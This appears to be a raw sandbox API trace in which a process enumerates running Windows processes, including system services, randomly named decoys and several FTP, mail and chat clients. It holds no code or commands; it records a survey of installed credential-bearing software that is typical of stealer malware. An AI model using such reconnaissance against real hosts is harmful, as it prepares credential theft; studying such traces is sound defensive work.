	[0090.917] lstrlenW (lpString="wininit.exe") returned 11
	[0090.918] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0090.918] lstrlenW (lpString="csrss.exe") returned 9
	[0090.918] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0090.919] lstrlenW (lpString="winlogon.exe") returned 12
	[0090.919] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0090.919] lstrlenW (lpString="services.exe") returned 12
	[0090.919] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0090.920] lstrlenW (lpString="lsass.exe") returned 9
	[0090.920] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.921] lstrlenW (lpString="svchost.exe") returned 11
	[0090.921] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0090.922] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0090.922] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0090.922] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0090.922] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.923] lstrlenW (lpString="svchost.exe") returned 11
	[0090.923] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0090.924] lstrlenW (lpString="dwm.exe") returned 7
	[0090.924] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.924] lstrlenW (lpString="svchost.exe") returned 11
	[0090.924] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.925] lstrlenW (lpString="svchost.exe") returned 11
	[0090.925] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.925] lstrlenW (lpString="svchost.exe") returned 11
	[0090.925] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.926] lstrlenW (lpString="svchost.exe") returned 11
	[0090.926] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.926] lstrlenW (lpString="svchost.exe") returned 11
	[0090.926] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.927] lstrlenW (lpString="svchost.exe") returned 11
	[0090.927] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.927] lstrlenW (lpString="svchost.exe") returned 11
	[0090.928] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.928] lstrlenW (lpString="svchost.exe") returned 11
	[0090.928] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.929] lstrlenW (lpString="svchost.exe") returned 11
	[0090.929] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.930] lstrlenW (lpString="svchost.exe") returned 11
	[0090.930] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0090.930] lstrlenW (lpString="spoolsv.exe") returned 11
	[0090.930] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.931] lstrlenW (lpString="svchost.exe") returned 11
	[0090.931] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0090.931] lstrlenW (lpString="audiodg.exe") returned 11
	[0090.931] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0090.932] lstrlenW (lpString="sihost.exe") returned 10
	[0090.932] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0090.932] lstrlenW (lpString="svchost.exe") returned 11
	[0090.932] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0090.933] lstrlenW (lpString="taskhostw.exe") returned 13
	[0090.933] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x44, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0090.933] lstrlenW (lpString="explorer.exe") returned 12
	[0090.933] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0090.934] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0090.934] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0090.934] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0090.935] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0090.935] lstrlenW (lpString="Memory Compression") returned 18
	[0090.935] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0090.936] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0090.936] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0090.936] lstrlenW (lpString="SearchUI.exe") returned 12
	[0090.936] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0090.937] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0090.937] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0090.937] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0090.937] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0090.938] lstrlenW (lpString="fur-hold.exe") returned 12
	[0090.938] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0090.938] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0090.938] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0090.939] lstrlenW (lpString="vat.exe") returned 7
	[0090.939] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0090.939] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0090.939] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0090.940] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0090.940] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0090.940] lstrlenW (lpString="paxiltried.exe") returned 14
	[0090.941] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0090.941] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0090.941] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0090.942] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0090.942] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0090.942] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0090.942] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0090.943] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0090.943] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0090.943] lstrlenW (lpString="ride_australian.exe") returned 19
	[0090.943] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0090.944] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0090.944] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0091.680] lstrlenW (lpString="rc remember.exe") returned 15
	[0091.680] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0091.681] lstrlenW (lpString="records replace.exe") returned 19
	[0091.681] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0091.682] lstrlenW (lpString="isp physiology.exe") returned 18
	[0091.682] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0091.682] lstrlenW (lpString="feb.exe") returned 7
	[0091.682] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0091.683] lstrlenW (lpString="citizenship.exe") returned 15
	[0091.683] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0091.683] lstrlenW (lpString="wifi.exe") returned 8
	[0091.683] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0091.684] lstrlenW (lpString="3dftp.exe") returned 9
	[0091.684] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0091.684] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0091.684] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0091.685] lstrlenW (lpString="alftp.exe") returned 9
	[0091.685] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0091.686] lstrlenW (lpString="barca.exe") returned 9
	[0091.686] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0091.687] lstrlenW (lpString="bitkinex.exe") returned 12
	[0091.687] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0091.688] lstrlenW (lpString="coreftp.exe") returned 11
	[0091.688] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0091.689] lstrlenW (lpString="far.exe") returned 7
	[0091.689] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0091.691] lstrlenW (lpString="filezilla.exe") returned 13
	[0091.691] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0091.691] lstrlenW (lpString="flashfxp.exe") returned 12
	[0091.692] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0091.692] lstrlenW (lpString="fling.exe") returned 9
	[0091.692] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0091.693] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0091.693] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0091.695] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0091.695] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0091.695] lstrlenW (lpString="icq.exe") returned 7
	[0091.696] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0091.696] lstrlenW (lpString="leechftp.exe") returned 12
	[0091.696] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0091.697] lstrlenW (lpString="ncftp.exe") returned 9
	[0091.697] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0091.698] lstrlenW (lpString="notepad.exe") returned 11
	[0091.698] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0091.699] lstrlenW (lpString="operamail.exe") returned 13
	[0091.699] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0091.700] lstrlenW (lpString="pidgin.exe") returned 10
	[0091.700] Process32NextW (in: hSnapshot=0x300, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0091.701] lstrlenW (lpString="scriptftp.exe") returned 13
